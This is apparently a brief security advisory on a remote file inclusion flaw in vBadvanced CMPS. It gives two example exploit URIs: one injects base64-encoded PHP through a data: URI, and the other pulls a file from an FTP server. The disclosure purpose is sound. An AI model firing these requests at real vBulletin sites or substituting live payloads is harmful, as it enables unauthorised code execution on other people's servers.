vBadvanced CMPS 'vba_cmps_include_bottom.php' Remote File Include Vulnerability

vBadvanced CMPS 'vba_cmps_include_bottom.php' Remote File Include Vulnerability

An attacker can exploit these issues with a browser.

The following example URIs are available:

http://www.example.com/vb/includes/vba_cmps_include_bottom.php?pages[pageid]=123&allowview=123&pages[type]=php_file&vba_cusmodid=123&pages[template]=data:;base64,PD9waHAgcGhwaW5mbygpO29iX2VuZF9mbHVzaCgpO2V4aXQ7Pz4=

http://www.example.com/vb/includes/vba_cmps_include_bottom.php?pages[pageid]=123&allowview=123&pages[type]=php_file&vba_cusmodid=123&pages[template]=ftp://user:pass@127.0.0.1/123.txt